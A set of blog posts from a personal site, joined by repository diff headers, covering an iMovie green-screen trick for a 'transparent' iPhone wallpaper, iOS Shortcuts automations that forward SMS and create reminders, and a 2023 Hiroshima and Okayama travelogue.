Recently, while mindlessly relaxing, I came across a very common wallpaper app advertisement that showcased an eye-catching transparent perspective wallpaper; but it’s obviously impossible, even if the rear camera was capturing the scene in real-time, the angles wouldn’t match so perfectly!

[【Youtuber Insider】Attention to American TV shows and series! Exposing the toxic truth that mass media won't tell you! Working during the day, studying at night, critiquing on holidays! Revealing the secrets of deception|Anyway, I'm Bored](https://www.youtube.com/watch?v=0_dVHQBx-4k){:target="_blank"}

【Youtuber Insider】Attention to American TV shows and series! Exposing the toxic truth that mass media won’t tell you! Working during the day, studying at night, critiquing on holidays! Revealing the secrets of deception|Anyway, I’m Bored

Final Effect

iPhone 'Fake' Transparent Perspective Wallpaper

Let’s Be Smart Youth!

Although I knew it was a special effect, I thought it would be very complicated; unexpectedly, the built-in iMovie app on the iPhone can easily create it with a few taps.

You only need:

  1. An iPhone (because we need to use iMovie directly), a phone for the scene
  2. A phone or camera for shooting
  3. A phone stand or a water bottle… or any object that can support the phone
  4. iMovie APP (free download)
  5. A green background image (green screen)

You can download this image directly or get it from [the internet](https://www.google.com/search?q=green+screen&tbm=isch&ved=2ahUKEwiWl7yC16jpAhXAx4sBHWVACioQ2-cCegQIABAA&oq=green+screen&gs_lcp=CgNpbWcQAzIECCMQJzIECCMQJzICCAAyAggAMgIIADICCAAyAggAMgIIADICCAAyAggAULXwGli18BpgxPQaaABwAHgAgAE4iAE4kgEBMZgBAKABAaoBC2d3cy13aXotaW1n&sclient=img&ei=u6C3XtbNBsCPr7wP5YCp0AI&bih=945&biw=1920){:target="_blank"}

You can download this image directly or get it from the internet

These 5 items can create a perspective effect!

Specific process:

  1. Set up the phone responsible for filming
  2. Shoot a clean video (without the phone in the frame)
  3. Set the background of the phone to be filmed as a green screen
  4. Shoot a video of the phone operation
  5. Open the iMovie APP to composite
  6. Done

Start

1. Set up the phone and adjust the filming angle

I used two eel cans and a bottle of mineral water as a phone stand (a vertical phone stand would be even better!)

I used two eel cans and a bottle of mineral water as a phone stand (a vertical phone stand would be even better!)

The purpose of using a phone stand is to ensure that the angles of the two videos are consistent. Otherwise, there will be a shift in the frame, and the effect won’t look as good. It’s impossible to hold the phone and have the angles of both videos be 100% the same.

2. Shoot a clean video

Shoot the clean video as long as you want the final video to be.

3. Set the background of the phone to be filmed as a green screen

“Settings” -> “Wallpaper” -> “Choose the downloaded green screen” -> “Set Both”

“Settings” -> “Wallpaper” -> “Choose the downloaded green screen” -> “Set Both”

Finished image

Finished image

4. Shoot a video of the phone operation

The length of the video should be the same as the clean video; it’s okay if it’s longer, you can trim it later.

5. Open the iMovie APP to create a project

“+” -> “Movie” -> Select “Clean Video” -> “Create Movie”

“+” -> “Movie” -> Select “Clean Video” -> “Create Movie”

Insert the clean video into the project.

6. Move the playhead to the beginning

If you don’t move the playhead to the beginning of the clean video, you will see the message “Move the playhead away from the end to add overlay” when inserting the green screen video.

7. Insert the phone operation video

Click the top right “+” -> “Video” -> “All”

Click the top right “+” -> “Video” -> “All”

Select “Phone Operation Video” -> “…” -> “Green/Blue Screen” (commonly known as: Chroma Key)

Select “Phone Operation Video” -> “…” -> “Green/Blue Screen” (commonly known as: Chroma Key)

Click the top “Phone Operation Video” -> Scroll to the frame with the green screen -> Click the “Green Area” -> Complete the perspective transparency

Click the top “Phone Operation Video” -> Scroll to the frame with the green screen -> Click the “Green Area” -> Complete the perspective transparency

8. Composition complete! Export the video

Confirm that the end times of the two videos are consistent, click "Done" in the upper left corner -> "Share" at the bottom -> Select the output target -> Output complete

Confirm that the end times of the two videos are consistent, click “Done” in the upper left corner -> “Share” at the bottom -> Select the output target -> Output complete

9. Complete

Tips

  1. You can first hide apps with green icons, such as Line, Messages… to prevent exposure (because the keying is based on green)
  2. Or you can use a blue background and key out blue; other colors can also be used (but green/blue works best)
  3. There are more ways to play with this principle, waiting for you to discover!

Conclusion

Just for fun… I didn’t expect iMovie to be so powerful!

Further Reading

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your Fingertips

Real-world Decode Issues with Codable

diff --git a/posts/309d0302877b/index.html b/posts/309d0302877b/index.html new file mode 100644 index 0000000000..2782e46378 --- /dev/null +++ b/posts/309d0302877b/index.html @@ -0,0 +1,13 @@ + iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks | ZhgChgLi
Home iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks
Post
Cancel

iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks

iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks

iOS uses Shortcuts to easily automate forwarding specific text messages to Line and automatically create reminders for parcel collection and credit card payment

Photo by [Jakub Żerdzicki](https://unsplash.com/@jakubzerdzicki?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash){:target="_blank"}

Photo by Jakub Żerdzicki

Background

Shortcuts (formerly Workflow) is a new feature introduced in iOS 12; it allows users to create a series of tasks to be executed with a single tap and set to run automatically in the background.

In addition to the built-in Shortcuts feature in iOS, Apple has also opened up Siri Shortcuts / App Intents to developers in recent years, allowing third-party apps to integrate some functions into Shortcuts for users to combine.

The automatic execution conditions are currently limited to iOS itself or Apple’s own apps, such as specific times, arrival, departure from a location, NFC detection, receiving messages, emails, or connecting to Wi-Fi, battery level, Do Not Disturb mode, sound detection, and more.

For Apple’s own services, there is no need to jailbreak as in the early days of forwarding text messages; Shortcuts function without jailbreaking and without installing strange third-party apps.

There is already a lot of content online introducing how to use Shortcuts and providing ready-made scripts, so this article will not go into detail.

The message forwarding feature across iOS devices (Settings -> Messages -> Message Forwarding) requires devices with the same Apple ID, so we need to use Shortcuts to help us forward specific messages.

This article only introduces three practical, convenient, and simple application scenarios.

Scenario 1 - Automatically Forward Text Messages

In this era of rampant scam text messages, we are afraid that elderly family members or children at home may receive scam messages and inadvertently provide information to scammers, or that elderly family members may not understand the process of receiving text message verifications for account security and need remote assistance to complete the verification; we also fear that children may use their phones to do things that are not allowed.

Link

https://branch.taipower.com.tw/d112/xmdoc/cont?xsmsid=0M242581319225466606&sid=0N209616847897374705

Effect

Conditions are set as follows:

  • When receiving a text message containing “http,” forward the message “content” to me on Line.
  • When receiving a text message containing “notification,” forward the message “content” to me on Line.
  • When receiving a text message containing “verification code,” forward the message “content” to me on Line.
  • When receiving a text message containing “authentication code,” forward the message “content” to me on Line.

Even in standby mode without unlocking the phone, the forwarding can be executed correctly.

Setup

1. Install & Open the Shortcuts App

2. Switch to the “Automation” tab, select the “+” in the upper right corner, and scroll down to find “Messages”

3. Set Message Conditions

  • “Message contains”: http ( =All text messages with URLs will be forwarded ) Create separate shortcuts for multiple keywords.
  • Change “Confirm then run” to “Run immediately”
  • Click “Next”

When - Other Settings:

  • “Sender”: Multiple, but must be added to contacts
  • At least one of the conditions “Message contains” or “Sender” must be set, so it is not possible to handle all messages without conditions

4. Add Automation Action

  • Select “Add Blank Automation”
  • If you want to forward the message to Line, type “line” in the search box to find Line’s “Send Message” shortcut and select the desired target

If only the last four conversation partners or groups appear here, and if the desired target does not appear, you can go back to Line and send a few messages to the target, then come back and it will appear.

Selecting contacts’ phone numbers in Line to send messages is not effective.

  • Similarly, you can also use the actions “Send Message” or “Send Email” (as shown in the third image) to forward the received message content to text messages (may incur text message charges if iCloud Messages is not enabled) or email.

After adding the recipient

  • Click on “Send ‘Message’ to ‘XXX’,” enter the message in the “Message” input box
  • Swipe right and click on “Shortcut Input”
  • Go back to the top and click on “Send ‘Shortcut Input’ to ‘XXX’,” enter the shortcut in the “Shortcut Input” input box
  • In the pop-up menu, change the originally selected “Message” to “Content”
  • Click the “X” next to the menu to close
  • Click “Done” in the upper right corner

To change the recipient to XXX, you need to click on the right X to remove the entire Line action, then add the Line Send Message action again with the new recipient.

  • Confirm the final setting result is: When I receive a message containing "XXX", treat the message as input, Line will send "content" to "XXX"
  • No problem, click “Done” in the upper right corner. If there is no response after clicking Done, it may be due to an iOS Bug. You can ignore it and directly click Back to return to the homepage.
  • Back to the Shortcuts Automation homepage to view, pause, or modify this shortcut.

Done!

Just wait for new text messages to come in, and if they contain the specified keywords, they will be automatically forwarded (even if the phone is not unlocked). Due to current functionality limitations, a separate shortcut needs to be created for each keyword, and if the same text message contains different keywords, it will be sent twice.

Scenario 2 — Automatically Create Reminder Tasks When Packages Arrive at Convenience Stores

I currently use Apple’s built-in Reminders as a tool for managing daily tasks, so I also want to integrate things that need to remind me, such as package arrival at convenience stores, credit card payment notifications, etc.

Effect

Setting conditions as follows:

  • When a text message containing “已在” is received, add a reminder task (Coupang uses “已在”).
  • When a text message containing “送達” is received, add a reminder task (usually “送達”).

Setup Steps

1. Install & Open Shortcuts App

2. Switch to the “Automation” tab, select the “+” in the upper right corner, and scroll down to find “Messages”

3. Set Message Conditions

Similar to the conditions set for automatically forwarding text messages in the previous section, here set Message content contains "送達" and change to "Run Immediately".

4. Add Automation Actions & Set Reminder Time

First, we need to set the due date for the reminder task, add a date variable, calculate the time starting from when the message is received + the desired reminder time.

  • Select Add a new blank automation action
  • In the search box below, search for Adjust Date
  • Select Adjust Date
  • In the input box for Date to add 0 seconds to, select Current Date
  • Select Add 0 "seconds", change to days in the input box for seconds
  • Enter the number of days you want for the reminder time, here I enter 3 days
  • Click the “X” next to the menu to close

5. Add Reminder Task Action

  • In the search box, enter Reminder, scroll down and click on Add Reminder

After adding “Add Reminder”,

  • Click on the first Reminder input box under Add "Reminder" to "Reminders" without prompting
  • Swipe right and click on Shortcut Input
  • Click on Add "Shortcut Input" to "Reminders" without prompting in the Shortcut Input input box
  • In the pop-up menu, change the originally selected Message to Content
  • Click the “X” next to the menu to close

6. Set Reminder Notifications

  • Change from "Do not remind" to "Remind"
  • Select "2:00 PM" in the input box next to "2:00 PM", choose the variable "Adjusted Date"
  • Click the “X” next to the menu to close
  • After everything is okay, click “Done” in the top right corner If clicking “Done” does not respond, it may be an iOS bug. You can ignore it and directly click “Back” to return to the home page.

  • Back to the Shortcuts Automation homepage to view, pause, or modify this shortcut.

Done!

As mentioned earlier, just wait for a new text message to come in. If it contains the specified keywords, a reminder will be automatically created (even if the phone is not unlocked). Due to current limitations, a separate shortcut needs to be created for each keyword. If the same text message contains different keywords, two reminders will be created.

Scenario 3 - Automatically Create Reminder Tasks When Receiving Credit Card Bill Emails

Another useful notification is for credit card bill notifications. Similar to text messages, you can trigger a shortcut automation to add a reminder task when receiving an email. However, since automation functions are not yet available to third-party apps, you can only use the Apple Mail App to trigger it.

Effect

Setting conditions as follows:

  • When the email subject contains “Credit Card Bill,” add a reminder task

Please note that each company has a different format. Some may call it “Credit Card E-Bill,” “Credit Card E-Statement,” and even more specific like “Credit Card XXXX Year X Month E-Bill” for Cathay Pacific.

Since Regex is not supported at the moment, text matching is the only option. As mentioned earlier, a separate shortcut needs to be created for each keyword.

1. Ensure you have installed the Mail App and completed the mailbox account login (Gmail is also supported)

2. Confirm Email Fetch Settings

Confirm “Settings” -> “Mail” -> “Accounts” -> “Fetch New Data” is set to fetch or push.

3. Install & Open the Shortcuts App

4. Switch to the “Automation” tab, select the “+” in the top right corner, scroll down to find “Email”

5. Set Email Conditions

  • “Subject Contains”: Credit Card Bill Create multiple shortcuts for multiple keywords.
  • Change “Ask Before Running” to Run Immediately
  • Click “Next”

Additional Settings:

  • “From”: Multiple, but must be added to contacts
  • Other Filter Conditions - Account: Can filter sources like iCloud or Gmail
  • Other Filter Conditions - Recipient: Multiple, but must be added to contacts, usually multiple accounts of oneself

4. Add Automation Actions & Set Reminder Time

First, set the expiration date of the reminder, add a date variable, calculate the time when the message is received + the time interval to get the desired reminder time.

  • Choose Add a blank automation action
  • In the search box below, search for Adjust date
  • Select Adjust date
  • Choose Add 0 seconds to "date" in the input box for date
  • Below, select the variable, choose Current date
  • Change the seconds in Add 0 "seconds" to days
  • Enter the number of days you want for the reminder expiration, here I enter 3 days
  • Click the “X” next to the menu to close

5. Set Email Filtering

Unlike triggering message by message, email triggering is batch fetching, so as long as the batch contains emails with the keyword title, those new emails will also be brought in together.

Not sure if it’s a shortcut bug, but the result is as described.

For example: Batch fetch three emails, including a Carrefour notification email, a credit card bill email, and an Uber notification email, all three will be input as shortcuts; therefore, we need to add another step to filter out the keyword emails we want.

Pseudo Logic:

1
+2
+3
+4
+5
+6
+
for email title in emails
+  if email title.contains("credit card bill") then
+    Add reminder
+  else
+  end 
+end
+

  • In the search box, type Repeat, scroll down and click on Repeat every item
  • After adding, it will grab the wrong variable, select Every item in "adjusted date" in the input box for adjusted date, choose Clear variable
  • After clearing, select Every item in "item" in the input box for item, choose Shortcut input

  • In the search box, type If, scroll down and click on If
  • At this point, the position will be wrong

  • Drag the If "Repeat Result" "Condition" action under Every item in Shortcut Input
  • Confirm the final position as shown in the second image above, if incorrect, delete Repeat and If and redo from the previous step
  • Click on the Repeat Result input box of If "Repeat Result" "Condition", below change to select Title, click the “X” next to the menu to close

  • Click on the Title input box of If "Title" "Condition", change to select Contains, enter credit card bill, click “Done” on the keyboard

6. Set Email Filtering

  • Search for “Reminder” in the search box and scroll down to find and click on “Add Reminder”.
  • At this point, the location will be incorrect.
  • Drag the action of “Add ‘Reminder’ to ‘Reminder’ and ‘Do Not Notify’” to below “Title”, “Contains”, “Credit Card Bill”.
  • Confirm the final position as shown in the third image above. If it is incorrect, delete the duplicates and repeat from the previous step.

After adding “Add Reminder”:

  • Click on the first “Reminder” input box in “Add ‘Reminder’ to ‘Reminder’ and ‘Do Not Notify’”.
  • Swipe right to find and click on “Recurring Item”.
  • Go back to the top and click on the input box for “Recurring Item”, change the originally selected “Email” to “Title”.
  • Click on the “X” next to the menu to close.

6. Set Reminder Alert

Change “Do Not Notify” to “Notify”. Select “2:00 PM” in the “2:00 PM” input box, choose the variable “Adjusted Date”. Click on the “X” next to the menu to close. If there is no response after clicking “Done”, it may be an iOS bug. You can ignore it and click “Back” to return to the home screen.

You can view, pause, or modify this shortcut on the Shortcuts Automation homepage.

Done!

Setting up email is a bit more complicated because it involves batch extraction, so you need to filter again and create reminders based on the filtered results.

  • Now, if there are new emails and Apple Mail has finished extracting, and there is a title of a credit card bill, it will be automatically created!
  • Since Apple Mail is extracted (if not iCloud), email retrieval is not instant and will be delayed for a while.

Others

After the Shortcuts Automation is executed, a notification will pop up that cannot be closed.

End

You have now completed several basic automation integration functions, saving you daily effort with just a few simple steps. For more advanced integrations, such as API integration with Notion or more complex integrations, they can also be achieved technically. What you lack is not the technology but your imaginative automation ideas!

Further Reading on Automation

If you have any questions or feedback, feel free to contact me.



This post is licensed under CC BY 4.0 by the author.

iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session

iOS Temporary Workaround for Black Launch Screen Bug After Several Launches

diff --git a/posts/31b9b3a63abc/index.html b/posts/31b9b3a63abc/index.html new file mode 100644 index 0000000000..cb8acda204 --- /dev/null +++ b/posts/31b9b3a63abc/index.html @@ -0,0 +1 @@ + Travelogue 2023 Hiroshima Okayama 6-Day Free Trip | ZhgChgLi
Home Travelogue 2023 Hiroshima Okayama 6-Day Free Trip
Post
Cancel

Travelogue 2023 Hiroshima Okayama 6-Day Free Trip

[Travelogue] 2023 Hiroshima Okayama 6-Day Free Trip

6-day trip to Hiroshima, Okayama, Fukuyama, Kurashiki, and Onomichi in 2023

Preface

After resigning at the end of August and immediately embarking on a “ 10-day Solo Stroll in Kyushu “ in September for almost three months of rest, originally planning to start work in mid-November, the new job will involve new projects, and the new company does not offer much special leave. Everything needs to accumulate annual leave according to the basic labor law, so I considered going out to play again (planning started at the end of October).

Location — Hiroshima (Okayama)

Last time, on the way to an unexpected incident on the road to Nagasaki — received a souvenir from Onomichi, Hiroshima Prefecture, and visited the Nagasaki Atomic Bomb Museum and Peace Park last time, so I thought I could also visit Hiroshima.

Also, friends around me highly recommended Hiroshima, with World Heritage sites such as Itsukushima Shrine, oysters, Seto Inland Sea, Onomichi, Rabbit Island…

And since it’s a solo trip, not considering big cities or cities I’ve already been to, hoping for convenient transportation, Hiroshima is a great choice!

Dates — 11/13–18

Originally planned to start work on 11/20 (later postponed to 12/1), deducting the last day as a buffer for rest, the return date was set for 11/18 (Saturday).

For the departure date, originally had plans with friends on 11/12, so I decided to depart on 11/13 (Monday); but since the work arrangements were flexible, mainly based on when the flight prices for the round trip were lower.

Twists and Turns

❌ The most intuitive way to go to Hiroshima is through Hiroshima Airport, but the conditions are very unfavorable:

  • Time: Late departure (17:20) and early return (09:30); and no flights on Saturdays, so I would have to return on Friday (11/17).
  • Location: Need to take a shuttle bus (about 55 minutes), and upon arrival, the only available buses are at 21:40 or 22:20 (last one), reaching the station around 22 or 23 o’clock, very late.
  • Price: ~=$17,000, too expensive.

❌ In and out of Fukuoka + Shinkansen, still inconvenient:

  • Time: Departure (16:30) and return (10:55), also late departure and early return, but slightly better.
  • Location: Convenient transportation, but need to take the Shinkansen to Hiroshima, about 1.5 hours.
  • Price: ~=$12,000, and if I want to return late (20:35), it would cost ~=$17,000 or take the 06:50 flight in the morning.

❌ Later found out that I could go to Hiroshima through Okayama with Tigerair, the motivation to go was average:

  • Time: Departure (11:10) and return (15:25), great timing.
  • Location: Also need to take a shuttle bus from Okayama Airport, but the landing time is early, with plenty of time.
  • Price: Including 20 KG checked baggage, round trip costs around ~=$14,000.

Since I had spent a lot during the “ 10-day Kyushu trip in September “, if I couldn’t keep the flight ticket price around 10,000, the motivation to go was not strong, so I almost gave up on this trip.

Tigerair Okayama Winter Travelogue Event , Departure:

On October 31, while browsing Facebook out of boredom, I happened to see a post in the “ Japan Free Travel Discussion Group “ community where someone shared about discounted airfare promotions from an airline from 11/3 10:00 to 11/6 23:59. Luckily, with a go-with-the-flow attitude, I decided to go if I could get a discount and let it go if not.

11/3 I was very lucky to buy the tickets early in the morning, with the best departure and return dates (11/13–18), the best flight times, and the best prices, so there’s no reason not to go!

  • Departure (11:10), return (15:25), including round-trip 20KG check-in baggage + seat selection + miscellaneous fees: $7,012

KKday Promotion

Preparation

After buying the tickets, there is only one week left before departure, so I will start preparing eagerly.

The places I most want to visit are Miyajima, Onomichi, Kurashiki, and Okayama Castle; so I will use Hiroshima as a base, stay there for several days, and then stay around Okayama closer to the return date.

Transportation

JR Pass Okayama & Hiroshima & Yamaguchi Area Rail Pass (¥ 17,000, just in time for the price increase after the end of October 2023.)

Checking the fare from Okayama to Hiroshima station, one way is ¥6,460, round trip is ¥12,920; adding trips to Miyajima, Onomichi, and Kure… round trip, it should be worth it; buying the JR Pass directly is the most convenient option.

Accommodation (5 nights)

Toyoko Inn Hiroshima Station Baseball Stadium Front (3 nights)

  • Price: $4,612, $1,537 per night, single non-smoking room
  • Location: It seems quite close on the map (actually about a 15-minute walk, due to construction and having to cross a level crossing), not a bustling area, outside the Mazda Zoom-Zoom Stadium, which is currently not hosting any games, so the whole area is very quiet.

Toyoko Inn consistently offers great value for money, with both price and environment being the best of this accommodation.

APA Hotel Hiroshima Ekimae Ohashi (1 night)

  • Price: $2,501, 1 night, single non-smoking room
  • Location: Closer to Hiroshima Station, but not an easy walk, need to cross a major road and a bridge (about 10 minutes); about a 15-minute walk from the previous accommodation, so it’s convenient.

Since Toyoko Inn was fully booked for four nights, I could only stay at APA Hotel for one night.

Livemax Okayama Kurashiki Ekimae Hotel Livemax (1 Night)

  • Price: $3,263, 1 night, single non-smoking room
  • Location: Similar to the map, just outside Kurashiki Station, about a five-minute walk, very convenient.

We ended up in Kurashiki because we couldn’t find any affordable hotels in Okayama when looking for accommodation. We had to look along the JR line, as there are shuttle buses from Kurashiki back to Okayama Airport; so we decided to find a hotel near Kurashiki.

This was the only hotel in Kurashiki with available rooms, convenient location, and acceptable prices.

Joy

Original plan:

  • 11/13: Shopping, eat Hiroshima-style okonomiyaki
  • 11/14: Miyajima, Hiroshima City: Itsukushima Shrine, Momijidani Park, Miyajima Ropeway -> Mount Misen Observatory, Hiroshima Peace Memorial, Hiroshima Peace Memorial Park, Hiroshima Peace Memorial Museum, Hiroshima Tower
  • 11/15: Onomichi, Senkoji Temple
  • 11/16: Kure, Hiroshima City (same as 11/14), Hiroshima Castle
  • 11/17: Okayama, Kurashiki: Okayama Korakuen Garden, Okayama Castle, Kibitsu Shrine, Kurashiki Bikan Historical Quarter, Kurashiki Outlet, Achi Shrine
  • 11/18: Kurashiki Outlet, return journey

Okunoshima Island is too far and inconvenient, so it’s just on the reference list.

Let’s Go!

Flight Tracker, iPhone Suica usage, Visit Japan pre-entry application… mentioned in previous articles, so no need to elaborate here.

Day 1 Departure

Departure at 11:10 in the morning, slowly getting ready to leave.

From Taipei Main Station, take the airport MRT to Terminal 1 of Taoyuan Airport, arriving at the check-in counter around 08:50.

Not many people, quickly completed check-in + departure; not much to eat at Terminal 1, bought a snack and coffee and headed to the boarding gate.

Not very hungry while waiting, so didn’t buy any snacks.

Departed at 11:07, arrived at OKJ (Okayama Momotaro Airport) at 14:11; felt hungry in between but found out that Tigerair doesn’t allow bringing your own food on board (Peach Aviation doesn’t have specific regulations), so patiently waited, planning to eat before entering the country.

Okayama Airport is super small, followed the crowd and went straight through immigration, no corner to sneakily eat; because the snack had chicken, worried about quarantine issues, so handed the whole package over to customs for disposal.

Completed immigration + baggage claim around 14:40 (super fast). Later checked the flight schedule, Okayama Airport has very few flights, maybe only one international flight a day, so there were very few people, only those on the same flight; customs and quarantine dogs checked each person, but it was still very quick!

Immediately took the airport shuttle bus upon exiting, probably due to the limited flight schedule, the shuttle to Okayama Station was scheduled for 16:10; but there was an extra shuttle waiting outside the airport (departing when full, with another one following soon), very thoughtful to save everyone time!

After getting off, found the escalator to go up to Okayama Station, first went to exchange for the JR Pass, found the machine in green with “ EXPRESS Reservation, 5489 Pick-up “ written next to it to exchange for the JR Pass ticket.

I found exchange tutorial on the internet, which says to click on the blue “予約したきっぷのお受取り” button. However, when following the steps and scanning the QR Code, an “Invalid QR Code” error keeps appearing. Even trying to enter the order number failed.

Finally, after several attempts by a group of Taiwanese people, it was discovered that you need to use the yellow button “ QRコードの読取り “ at the bottom left to exchange, and after clicking it, you can directly scan the QR Code. (Guess JR machines have been updated)

The machine will dispense two instruction sheets, one JR Pass ticket (the one with the checkmark in the image). You can also complete the seat reservation after receiving the JR Pass. Remember to use the JR Pass ticket for entering and exiting the stations, as the reserved ticket is only for reference for seat and time and cannot be used for station access.

Feeling very hungry and not having eaten anything, I first went to a convenience store to buy something to eat. I then bought a few JR tickets for the upcoming trains.

Arrived at Hiroshima Station around 16:45.

First, I checked in at the hotel to drop off my luggage before going out to find food. This road is quite deserted when there are no baseball games. On the opposite side is the railway, and there aren’t many shops along the road, but fortunately, there is a large street shop, Lawson.

Hiroshima Okonomiyaki Story Station Square

Returned to the station in Hiroshima to eat Hiroshima-style okonomiyaki at “Hiroshima Okonomiyaki Story Station Square,” located on the 6th floor to the right after exiting Hiroshima Station (next to Ekie department store). As soon as you step out of the elevator, you’ll find it quite unique as the entire floor is filled with Hiroshima-style okonomiyaki restaurants, allowing you to choose your preferred restaurant to dine in.

Ordered a Hiroshima-style okonomiyaki with added rice cakes (fried noodles inside). The taste was average, with noodles and rice cakes inside, and I felt quite full after eating.

Bought a late-night snack on the way back to the hotel. The night in Hiroshima was quite cold at around 4 degrees.

Tokyu Inn Hiroshima Station in front of the baseball field

Unpacked in the room.

When you pull back the curtains, you can see the railway outside (about 10 lines, so you need to be quick when crossing the level crossing); the downside of the room is that there is a knocking sound when the train passes by.

Allite A1 65W Gallium Nitride Fast Charger + Allite Liquid Silicone Fast Charging Cable

This time I brought the Allite A1 65W Gallium Nitride Fast Charger + Allite Liquid Silicone Fast Charging Cable combination for the trip. Since switching to iPhone 15, almost all devices have switched to Type-C ports; when traveling, just bring a Type-C charging cable to solve everything.

The Allite A1 65W Gallium Nitride Fast Charger supports single-port 65W, dual-port 45W+18W fast charging; it is small in size and can be carried around. When you see a rechargeable plug outdoors, just plug it in to continue charging; back at the hotel, one port charges the power bank, and the other charges the phone, watch, iPad, or Switch, making it convenient and fast.

The Allite Liquid Silicone Fast Charging Cable (1.5m) is long enough to be directly connected from the power bank in the bag for use. The liquid silicone material is different from regular plastic, not only skin-friendly but also easier to bend for storage without deformation.

The best charging companion for this trip.

Day 2 Miyajima (Itsukushima Shrine), Momijidani Park, Mt. Misen Observatory, Atomic Bomb Dome, Peace Memorial Park

KKday itinerary reference:

_[Japan. MiyajimaMomijidani Park, Itsukushima ShrineRickshaw Experience](https://www.kkday.com/zh-tw/product/22395-miyajima-private-tour-ebisuya-rickshaw-experience?cid=19365&ud1=31b9b3a63abc){:target=”blank”}

Hiroshima, Miyajima Bus Day Tour

Miyajima

In the early morning, take the JR to Miyajima-guchi Station, and walk towards the pier after exiting the station to find the ferry terminal. JR Pass includes the Miyajima ferry ticket, so there’s no need to buy a separate ticket, but you need to pay the Miyajima visit tax (¥100), and station staff will guide you to purchase the tax ticket.

Alternatively, you can also take the Hiroden to Miyajima-guchi, but I remember it takes longer.

The ferry takes about 10 minutes to reach Miyajima, and the ferry ride is smooth without a diesel smell. You can see the floating torii gate from afar as you approach!

Upon arriving on the island, head towards the floating torii gate. It’s beautiful and less crowded to take photos along the shore.

There are also many wild deer on the island, be careful as they might nibble on things XD.

After passing through Itsukushima Shrine, head to the Miyajima Ropeway to the Shishiiwa Observatory.

You need to take two cable cars to reach the Shishiiwa Observatory. The advantage of taking the cable car directly is that there are almost no people (lots of people at Itsukushima Shrine below). The first section is a small cable car for up to 6 people (frequent departures, longer distance), and the second section is a larger cable car (if I remember correctly, it departs every 15 minutes and can accommodate more people, about 20 people, with a short distance).

From the mountaintop, you can overlook the entire Seto Inland Sea, enjoy the breeze, and admire the small islands.

Itsukushima Shrine is built directly by the sea, with clean water and a serene atmosphere. You can also queue to take photos of the torii gate in the sea from the front.

During this season, the tide recedes at 3 am or 5 pm. Unfortunately, this time I didn’t have the chance to see the Itsukushima Shrine and torii gate at low tide.

For lunch, of course, you must eat oysters. The oyster rice and fried oysters at Oyster House cost around 300 TWD each, delicious and affordable, a feast of oysters!

Miyajima Ropeway and Itsukushima Shrine tickets.

Bought a small Itsukushima Shrine torii gate to take home, very cute!

Atomic Bomb Dome, Peace Memorial Park

Returned to Hiroshima city in the afternoon and visited the Atomic Bomb Dome and Peace Memorial Park.

In autumn, Hiroshima is adorned with the yellow of ginkgo trees, the red of maple leaves, and some green leaves, accompanied by the cool autumn breeze, reminiscing about everything that happened in Hiroshima.

Encountered many Japanese middle and elementary school outdoor classes at the Peace Memorial Park, with teachers explaining the history. I deeply feel the importance the Japanese people place on passing down historical education.

Back to the Hotel

Returned to the hotel in the late afternoon to rest because it was too cold outside as I was dressed lightly.

Dinner was bought directly on the way back to the hotel from the “Charcoal Grilled Meat Min Sarumonkey Bridge Store” takeout barbecue box; what initially caught my eye about this store was that there were several charcoal stoves placed at the entrance, which felt very warm as I walked by. When I stopped to look at the sign, I found out they offered takeout boxes, so I went in!

Another interesting thing was that their meal box had a self-heating function. When you want to eat it back at the hotel, you just pull a string, and it will start heating itself, emitting hot steam; it feels freshly baked and warm whenever you eat it, very thoughtful.

Today’s convenience store late-night snack included hot dogs, fried chicken, Strong Zero, and also bought a bottle of Yakult Y1000, which is said to help you sleep well after drinking. (But I was already very sleepy today after walking all day)

Day 3 Onomichi, Senkoji Temple, Fukuyama, Tomo-no-Ura

In the morning, took the Shinkansen to Mihara, then transferred from Mihara to Onomichi Station.

Didn’t time it well, had to wait for over 30 minutes when transferring from Mihara to Onomichi.

Walked out of the south exit to the main entrance of Onomichi Station.

The weather was good and the temperature was comfortable, so after leaving Onomichi Station, I walked straight to Senkoji Temple; walking on the mountain side felt like walking in Jiufen Old Street, the path was not easy to walk, with many stairs and steep slopes, but on the other side, you could see the Seto Inland Sea, the scenery was nice.

Another option is to walk directly on the main road until you see the sign for the Senkoji Ropeway, then turn in and take the ropeway up to Senkoji.

The view from Senkoji Temple is great, overlooking the entire Onomichi city area and the distant Onomichi Ohashi Bridge.

Brought home a cute little Jizo statue (you can choose to write down a wish and leave it at Senkoji for offering or take it home as a souvenir):

After visiting Senkoji Temple, walking down leads to the Cat Alley.

Early internet articles often introduced the Cat Alley in Japan’s Hou Tong, but this year’s actual visit felt different; the Cat Alley is a small path downhill from Senkoji, didn’t see any stray cats, the cat cafes along the way were almost all closed, walking down felt a bit lonely, finally found a coffee shop that was still open, “Bouquet D’arbre,” to have a cup of coffee and take a break.

  • The location of the store is good, but on the way up, it also gives off a lonely feeling with overgrown weeds. The store has few seats and limited meal options; but the owner is very enthusiastic + the store cat is very clingy and will come to sit next to you.
  • Walking back to the main street at the foot of the mountain, I encountered a very quiet local shrine.
  • On the way back to Onomichi Station, I walked through the shopping street inside and had the famous Onomichi Ramen for lunch - “Onomichi Ramen Shoya”.
  • After leisurely strolling back to Onomichi Station, since it was still early, I decided to go to the nearby city of Fukuyama.
  • I didn’t calculate the time well again, and waited for another 30 minutes before the train arrived. Friends coming to Onomichi, remember to manage your time well.
  • Fukuyama
  • After arriving at Fukuyama Station, you can see Fukuyama Castle, but I didn’t go inside, just took a photo from afar and left.
  • Tomonoura
  • Before returning to Fukuyama Station, you can see the bus boarding instructions to Tomonoura. Initially, I thought it would be difficult to reach Tomonoura because it is a seaside town, but I have to admire Japan’s tourism and transportation signs, very clear.
  • p.s. I didn’t do much research on Tomonoura before the trip, it was a spontaneous decision to visit.
  • The only knowledge I had about Tomonoura was that it is a filming location for “Ponyo on the Cliff”, Japan’s first modern port town, a place where Ryoma Sakamoto negotiated, a must-visit for history buffs.
  • After boarding the bus, the final stop is Tomonoura (journey time: about 40 minutes).
